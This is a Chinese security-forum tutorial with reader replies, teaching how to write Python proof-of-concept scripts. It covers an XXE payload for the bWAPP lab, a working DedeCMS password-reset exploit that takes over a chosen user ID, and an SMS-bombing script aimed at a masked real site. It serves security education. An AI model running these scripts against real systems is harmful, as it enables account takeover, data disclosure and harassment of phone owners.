用户
搜索
  • TA的每日心情
    奋斗
    2 小时前
  • 签到天数: 242 天

    连续签到: 1 天

    [LV.8]以坛为家I

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    78

    主题

    2290

    帖子

    1万

    魔法币
    收听
    0
    粉丝
    149
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-2-2 21:39:09 5143460
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96

    目录:
    2x18 XXE漏洞类POC编写

    2x19 任意修改用户密码漏洞类POC编写

    2x20 短信轰炸漏洞POC编写

    2x21 本章小结

    2x18 XXE漏洞类POC编写
    XXE Injection(XML External Entity Injection),是一种容易被忽视,但危害巨大的漏洞。它是一种隐蔽并且经常被忽视的漏洞,可以利用XML外部实体加载注入,执行不可预控的代码。

    论坛也有文章
    XXE 学习之路-STEP BY STEP

    当然也有视频教程了..
    漏洞研究之XXE
    XML外部实体注入漏洞(XXE)

    这里我举的栗子是BWAPP的XXE漏洞...参考于小叶的文章,他用Python写了EXP...我拿来写POC...其实差不多...
    【BWAPP】优雅的XXE&&py exp
    BWAPP下载地址:http://sourceforge.net/projects/bwapp/files/bee-box/
    我简单复现一下
    55.jpg
    Any bug,,burp抓包...
    56.jpg
    然后修改POST内容,在本地搭建一个站点,写入txt内容,用来验证漏洞是否存在

    [XML] 纯文本查看 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE copyright[
    <!ENTITY test SYSTEM "http://192.168.3.32/robots.txt">
    ]>
    <reset>             
      <login>&test;</login>            
      <secret>login</secret>
    </reset>

    57.jpg
    然后根据这个POC就来了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import sys
      
    def POC(target):
        detection_url = raw_input('Please input your local detection URL:')         
        headers = {'Content-type': 'text/xml'}
        cookies = {'PHPSESSID':'45b7ecf12e15f4bb268b4d14e8ffe844', 'security_level':'0'}  #cookie值为登录的cookie值
        XML = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ detection_url +'">]><reset><login>&test;</login><secret>login</secret></reset>'
        attack_req = requests.post(target,headers=headers,cookies=cookies,data=XML)
        if 'Exp1ore is a Supreme BOY!!!' in attack_req.text:
                print "There are vulnerabilities in this server"
        else:
                print "There are no vulnerabilities in this server"
    def main():
        arg = sys.argv
        target = ''
        if len(arg) == 2:
            target = arg[1]
            POC(target)
        else:
            print "Usage: python %s domain" % (arg[0])
    if __name__ == '__main__':
            main()

    58.gif
    2x19 任意修改用户密码漏洞类POC编写
    顾名思义,就是存在代码逻辑上的错误,导致可以任意修改用户密码
    本文拿DEDECMS的最新版的漏洞举栗子...

    源码信息:DedeCMS-V5.7-UTF8-SP2-20180109
    问题文件: \DedeCMS-V5.7-UTF8-SP2\uploads\member\resetpassword.php

    漏洞分析请戳:
    代码审计| DEDECMS -V5.7-UTF8-SP2-20180109漏洞集合
    复现...
    准备两个账号....
    test test
    1heihei 1heihei
    本文演示用1heihei重置test....
    通过遍历得知..test的id是2
    http://127.0.0.1/dedecms2/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
    58.jpg
    去掉多余字符,然后得到重置密码链接.....
    http://localhost/dedecms2/member/resetpassword.php?dopost=getpasswd&id=2&key=8QSG0d0m
    59.jpg
    然后把密码改成ichunqiu了...
    出现页面,提示更改密码成功,请牢记新密码.....然而我没截上图
    POC来了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import re
    import requests
    import sys
    
    def GetCookie():
        cookie = raw_input(" Please paste the cookie:").split(';')
        cookies = {}
        for i in range(0,len(cookie)):
            name,value=cookie.strip().split('=',1)
            cookies[name] = value
        return cookies
    def POC(target):
        attack_id = raw_input('Please enter the ID that you want to attack:')
        cookie = GetCookie()
        rs = requests.get(target + '/member/index.php', cookies=cookie)
        if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
            print 'Login success!!'
        else:
            exit('Login failure!!')
        payload_url = "{target}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={attack_id}".format(target=target,attack_id=attack_id)
        rs = requests.get(payload_url, cookies=cookie)
        if '对不起,请10分钟后再重新申请'.decode('utf-8') in rs.text:
            exit("I'm sorry, please reapply in 10 minutes.")
        searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
        attack_payload_url = searchObj.group(1)
        attack_url = attack_payload_url.replace('amp;', '')
        userid_re = re.findall(r'id=(.*)&key',attack_url, re.M | re.I)
        key_re = re.findall(r'key=(.*)',attack_url, re.M | re.I)
        for i in userid_re:
            userid = i
        for x in key_re:
            key = x
        data = {'dopost': 'getpasswd', 'setp': 2, 'id': attack_id, 'userid': userid, 'key': key, 'pwd': 'supreme', 'pwdok': 'supreme'}
        attack_req = requests.post(target + "/member/resetpassword.php", data=data, cookies=cookie)
        if '更改密码成功,请牢记新密码'.decode('utf-8') in attack_req.text:
            print 'There are vulnerabilities in this server'
        else:
            print 'There are no vulnerabilities in this server'
    def main():
        arg = sys.argv
        target = ''
        if len(arg) == 2:
            target = arg[1]
            POC(target)
        else:
            print "Usage: python %s target" % (arg[0]) 
    if __name__ == '__main__':
        main()
    60.gif .
    2x20 短信轰炸漏洞POC编写
    其实这个漏洞...不想写的...不过为了凑字数吧...
    复现...
    发送验证码处...抓包
    61.jpg
    然后看response,出现success.....

    所以可以根据这个写POC咯
    关键信息也做打码处理!!!
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import json
    def POC(target):
        headers = {
                                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
                                    }
        attack_req = requests.post(target + '/c***********en',data=json.dumps({"mobile":"1*********8","type":"signup"}),headers=headers)
        if attack_req.status_code == 200 and 'success' in attack_req.text:
            print 'There are vulnerabilities in this server'
        else:
            print 'There are no vulnerabilities in this server'
            
    if __name__ == '__main__':
        POC('http://www.********.com/')

    62.jpg
    2x21 本章小结
    文章已经讲完了如何编写POC.....你如果还不太会,没关系,多加练习,肯定会成功的.....
    编写POC其实不难,掌握了他的复现原理,过程......然后找一些特征....根据这些就可以写出POC了...
    加油..接下来,可能会编写一些工具吧.....


    免责声明:
    • 请使用者注意使用环境并遵守中华人民共和国相关的法律法规!
    • 由于使用者使用本软件造成的任何后果本人不承担任何法律责任!
    • 此软件只供安全研究及安全测试使用,本软件的使用者对任何站点进行的任意操作均与本人无关,造成的任何后果均由软件使用者承担。






    评分

    参与人数 2魔法币 +25 收起 理由
    李思特 + 5 表哥6666
    huangpan110 + 20 支持表哥

    查看全部评分

    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    其实我想知道在修改dedecms的后台用户(admin)密码时,如何直接用python自动注册一个用户a,同时获取其cookie,即无需输入cookie即可修改管理员密码,尝试几次都没成功,burp可以抓到cookie,但是直接requests就得不到cookie
    使用道具 举报 回复
    发表于 2018-2-4 13:25:35
    shadow15 发表于 2018-2-4 00:24
    其实我想知道在修改dedecms的后台用户(admin)密码时,如何直接用python自动注册一个用户a,同时获取其coo ...

    话说,我没听懂你的意思,加我qq吧,我私聊告诉你
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-2-2 21:42:19
    说明一下,我的GetCookie是如图写的,这个代码编辑器有问题,将就看吧....我尽力了...

    回复即送魔法币!!!
    专辑求关注,求评分
    Python大法从入门到编写POC
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    一直在跟着  大佬做的这个专辑真心棒,一步步从py基础到写poc 写工具 节奏真的棒
    支持表哥.....
    使用道具 举报 回复
    b非常非常实用的教程,脱离工具小子的第一步!
    使用道具 举报 回复

    感谢大佬的课程,建议加入自动化破解验证码
    使用道具 举报 回复
    感谢大佬的课程,建议加入自动化破解验证码
    使用道具 举报 回复
    非常非常实用的教程,脱离工具小子的第一步!
    使用道具 举报 回复
    发表于 2018-2-2 22:17:54

    回帖奖励 +6

    第一啦啦啦啦
    使用道具 举报 回复

    回帖奖励 +6

    使用道具 举报 回复

    回帖奖励 +6

    6666666
    啊啊啊
    使用道具 举报 回复

    回帖奖励 +6

    来学习一下,每一篇文章都给我打开新的大门
    使用道具 举报 回复

    回帖奖励 +6

    表哥贼六
    感谢缘分相遇i春秋
    使用道具 举报 回复
    发表于 2018-2-2 22:31:54

    回帖奖励 +6

    学习大佬知识
    使用道具 举报 回复

    回帖奖励 +6

    学python
    使用道具 举报 回复

    回帖奖励 +6

    大神又更新了,过来学习一下。
    使用道具 举报 回复

    回帖奖励 +6

    跟表哥学一下
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2018-2-2 22:54:48

    回帖奖励 +6

    魔法币魔法币魔法币

    评分

    参与人数 1积分 -10 魔法币 -30 收起 理由
    Exp1ore -10 -30 请不要刷屏,灌水!!!!

    查看全部评分

    使用道具 举报 回复

    回帖奖励 +6

    学习大佬知识
    使用道具 举报 回复
    发表于 2018-2-3 00:07:28
    感谢分享
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册